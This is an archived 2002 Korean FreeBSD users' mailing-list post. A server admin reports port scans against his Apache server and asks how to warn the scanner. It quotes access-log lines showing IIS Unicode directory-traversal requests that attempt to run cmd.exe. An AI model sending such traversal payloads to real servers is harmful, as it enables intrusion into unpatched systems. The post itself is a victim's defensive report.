Software, Support, Documentation
|
|
News,
Internal,
Projects,
Home Software, Support, Documentation |
제 프비서버에 아파치 설치해놓았더니... 사용자중 일부가 포트스캔해서 자꾸 엉뚱한 짓을 시도하는군요... krnic에서 ip 조회 해봤더니... 한통 메가패스 사용중 일부인것 같더군요.... 아파치 로그에 계속해서 남는데... 제가 아는것은 ip밖에 없습니다. 그리고 ip또한 주기적으로 변하고요... 혼내줄 필요는 없을것 같고... 엉뚱한 짓 하지말라고 메시지를 보내주고 싶은데... 녀석은 제 아파치서버가 nt계열인지 알고 뚱단지 같은 짓을하는군요... 이렇게 쌓이는 로그도 만만치 않군요... ************************** 61.73.197.171 - - [15/Dec/2002:12:10:22 +0900] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 305 "-" "-" 61.73.197.171 - - [15/Dec/2002:12:10:22 +0900] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 305 "-" "-" 61.73.197.171 - - [15/Dec/2002:12:10:22 +0900] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 305 "-" "-" 61.73.197.171 - - [15/Dec/2002:12:10:23 +0900] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 305 "-" "-" 61.73.197.171 - - [15/Dec/2002:12:10:23 +0900] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 289 "-" "-" 61.73.197.171 - - [15/Dec/2002:12:10:23 +0900] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 289 "-" "-" -- Please look and take part in KFUG FAQ: <http://www.kr.freebsd.org/FAQ-kr/> To Unsubscribe: send mail to majordomo@kr.FreeBSD.org with "unsubscribe questions" in the BODY of the message
|
Copyright © 1998-2005 Korea FreeBSD Users Group. All rights reserved. webmaster at kr.FreeBSD.org $Date: 2002/12/31 23:00:26 $ |
|